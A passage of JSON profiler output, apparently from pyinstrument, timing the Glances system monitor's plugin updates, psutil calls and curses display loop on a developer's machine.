[{\"identifier\": \"[self]\",\"time\": 0.001894,\"attributes\": {},\"children\": []}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.002004,\"attributes\": {\"l132\": 0.0020037879949086346},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005994,\"attributes\": {\"cProcesslistPlugin\": 0.005994287006615195, \"l656\": 0.001993374004086945, \"l634\": 0.0020011000015074387, \"l633\": 0.0019998130010208115},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020011000015074387, \"l628\": 0.0020011000015074387},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019998130010208115, \"l621\": 0.0019998130010208115},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.021088,\"attributes\": {\"cUptimePlugin\": 0.0020189229981042445, \"l1278\": 0.021088009998493362, \"cFsPlugin\": 0.015206065996608231, \"cIpPlugin\": 0.0017962080019060522, \"cQuicklookPlugin\": 0.0020668130018748343},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.021088,\"attributes\": {\"l1295\": 0.021088009998493362},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/uptime/__init__.py\\u000049\",\"time\": 0.002019,\"attributes\": {\"cUptimePlugin\": 0.0020189229981042445, \"l58\": 0.0020189229981042445},\"children\": [{\"identifier\": \"boot_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002383\",\"time\": 0.002019,\"attributes\": {\"l2390\": 0.0020189229981042445},\"children\": [{\"identifier\": \"boot_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001507\",\"time\": 0.002019,\"attributes\": {\"l1512\": 0.0020189229981042445},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002019,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015206,\"attributes\": {\"cFsPlugin\": 0.015206065996608231, \"l131\": 0.015206065996608231},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015206,\"attributes\": {\"cFsPlugin\": 0.015206065996608231, \"l182\": 0.015206065996608231},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015206,\"attributes\": {\"l630\": 0.004320701991673559, \"l631\": 0.010885364004934672},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002874,\"attributes\": {\"cForkProcess\": 0.002874043995689135, \"l121\": 0.002874043995689135},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002874,\"attributes\": {\"l281\": 0.002874043995689135},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002874,\"attributes\": {\"cPopen\": 0.002874043995689135, \"l20\": 0.002874043995689135},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002874,\"attributes\": {\"cPopen\": 0.002874043995689135, \"l70\": 0.002874043995689135},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002874,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005804,\"attributes\": {\"cForkProcess\": 0.00580428600369487, \"l156\": 0.00580428600369487},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005804,\"attributes\": {\"cPopen\": 0.00580428600369487, \"l41\": 0.00580428600369487},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005804,\"attributes\": {\"l1165\": 0.00580428600369487},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005804,\"attributes\": {\"cPollSelector\": 0.00580428600369487, \"l398\": 0.00580428600369487},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005804,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005804,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001447,\"attributes\": {\"cForkProcess\": 0.001446657995984424, \"l121\": 0.001446657995984424},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001447,\"attributes\": {\"l281\": 0.001446657995984424},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001447,\"attributes\": {\"cPopen\": 0.001446657995984424, \"l20\": 0.001446657995984424},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001447,\"attributes\": {\"cPopen\": 0.001446657995984424, \"l70\": 0.001446657995984424},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001447,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005081,\"attributes\": {\"cForkProcess\": 0.005081078001239803, \"l156\": 0.005081078001239803},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005081,\"attributes\": {\"cPopen\": 0.005081078001239803, \"l41\": 0.005081078001239803},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005081,\"attributes\": {\"l1165\": 0.005081078001239803},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005081,\"attributes\": {\"cPollSelector\": 0.005081078001239803, \"l398\": 0.005081078001239803},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005081,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005081,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001796,\"attributes\": {\"cIpPlugin\": 0.0017962080019060522, \"l127\": 0.0017962080019060522},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001796,\"attributes\": {\"cIpPlugin\": 0.0017962080019060522, \"l140\": 0.0017962080019060522},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001796,\"attributes\": {\"cIpPlugin\": 0.0017962080019060522, \"l90\": 0.0017962080019060522},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001796,\"attributes\": {\"l745\": 0.0017962080019060522},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.001796,\"attributes\": {\"l2301\": 0.0017962080019060522},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.001796,\"attributes\": {\"l999\": 0.0017962080019060522},\"children\": [{\"identifier\": \"net_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000945\",\"time\": 0.001796,\"attributes\": {\"l949\": 0.0017962080019060522},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001796,\"attributes\": {\"l692\": 0.0017962080019060522},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001796,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.002067,\"attributes\": {\"cQuicklookPlugin\": 0.0020668130018748343, \"l117\": 0.0020668130018748343},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.002067,\"attributes\": {\"cCpuPercent\": 0.0020668130018748343, \"l252\": 0.0020668130018748343},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.002067,\"attributes\": {\"l1945\": 0.0020668130018748343},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.002067,\"attributes\": {\"l676\": 0.0020668130018748343},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002067,\"attributes\": {\"l730\": 0.0020668130018748343},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002067,\"attributes\": {\"l718\": 0.0020668130018748343},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002067,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.064778,\"attributes\": {\"cGlancesCursesStandalone\": 2.0647776600017096, \"l1154\": 0.05408123999950476, \"l1169\": 1.0057028269729926, \"l1172\": 1.0049935930292122},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.054081,\"attributes\": {\"cGlancesCursesStandalone\": 0.05408123999950476, \"l1135\": 0.05191401900083292, \"l1136\": 0.002167220998671837},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051914,\"attributes\": {\"cGlancesCursesStandalone\": 0.05191401900083292, \"l569\": 0.04991218700160971, \"l591\": 0.0020018319992232136},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049912,\"attributes\": {\"cGlancesCursesStandalone\": 0.04991218700160971, \"l545\": 0.04991218700160971},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049912,\"attributes\": {\"cProgramlistPlugin\": 0.023914430996228475, \"l1101\": 0.04991218700160971, \"cProcesslistPlugin\": 0.025997756005381234},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049912,\"attributes\": {\"cProgramlistPlugin\": 0.023914430996228475, \"l580\": 0.002003180001338478, \"l587\": 0.04790900700027123, \"cProcesslistPlugin\": 0.025997756005381234},\"children\": [{\"identifier\": \"_msg_curse_header\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000178\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.002003180001338478, \"l240\": 0.002003180001338478},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047909,\"attributes\": {\"cProgramlistPlugin\": 0.021911250994889997, \"l538\": 0.03797986500285333, \"l537\": 0.006000109999149572, \"l544\": 0.003929031998268329, \"cProcesslistPlugin\": 0.025997756005381234},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001978,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002022,\"attributes\": {\"cProgramlistPlugin\": 0.002021567001065705, \"l360\": 0.002021567001065705},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002022,\"attributes\": {\"cProgramlistPlugin\": 0.002021567001065705, \"l340\": 0.002021567001065705},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002022,\"attributes\": {\"cProgramlistPlugin\": 0.002021567001065705, \"l1251\": 0.002021567001065705},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002022,\"attributes\": {\"l478\": 0.002021567001065705},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002022,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002022,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019910780029022135, \"l472\": 0.0019910780029022135},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019910780029022135, \"l460\": 0.0019910780029022135},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.002002993001951836, \"l325\": 0.002002993001951836},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.002002993001951836, \"l874\": 0.002002993001951836},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"disable_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000255\",\"time\": 0.002002,\"attributes\": {\"cGlancesProcesses\": 0.0020021179952891544, \"l258\": 0.0020021179952891544},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001929,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001929,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001978,\"attributes\": {\"cProgramlistPlugin\": 0.001978214000700973, \"l471\": 0.001978214000700973},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001978,\"attributes\": {\"cProgramlistPlugin\": 0.001978214000700973, \"l467\": 0.001978214000700973},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001978,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000182998017408, \"l309\": 0.002000182998017408},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000182998017408, \"l855\": 0.002000182998017408},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000182998017408, \"l969\": 0.002000182998017408},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020024810000904836, \"l440\": 0.0020024810000904836},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020024810000904836, \"l292\": 0.0020024810000904836},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020024810000904836, \"l969\": 0.0020024810000904836},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999220021418296, \"l325\": 0.0019999220021418296},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999220021418296, \"l848\": 0.0019999220021418296},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999220021418296, \"l801\": 0.0019999220021418296},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019990930013591424, \"l309\": 0.0019990930013591424},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019990930013591424, \"l885\": 0.0019990930013591424},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.006000,\"attributes\": {\"cProcesslistPlugin\": 0.006000069006404374, \"l309\": 0.006000069006404374},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999647000047844, \"l857\": 0.001999647000047844},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999647000047844, \"l965\": 0.001999647000047844},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999920041300356, \"l855\": 0.0019999920041300356},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999920041300356, \"l965\": 0.0019999920041300356},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985519975307398, \"l429\": 0.0019985519975307398},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985519975307398, \"l278\": 0.0019985519975307398},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985519975307398, \"l967\": 0.0019985519975307398},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001066997763701, \"l440\": 0.002001066997763701},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001066997763701, \"l296\": 0.002001066997763701},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001066997763701, \"l963\": 0.002001066997763701},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991220033261925, \"l429\": 0.0019991220033261925},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991220033261925, \"l276\": 0.0019991220033261925},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019991220033261925, \"l963\": 0.0019991220033261925},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003120007459074, \"l397\": 0.0020003120007459074},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l96\": 0.0020003120007459074},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__display_top\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000719\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020018319992232136, \"l757\": 0.0020018319992232136},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020018319992232136, \"l1099\": 0.0020018319992232136},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000178\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020018319992232136, \"l239\": 0.0020018319992232136},\"children\": [{\"identifier\": \"_msg_create_line\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000305\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020018319992232136, \"l310\": 0.0020018319992232136},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_bars.py\\u000094\",\"time\": 0.002002,\"attributes\": {\"cBar\": 0.0020018319992232136, \"l104\": 0.0020018319992232136},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002167,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100631,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063109100155998, \"l291\": 0.10063109100155998},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100631,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063109100155998, \"l260\": 0.10063109100155998},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100631,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100631,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100501,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050066099938704, \"l1202\": 0.10050066099938704},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100501,\"attributes\": {},\"children\": 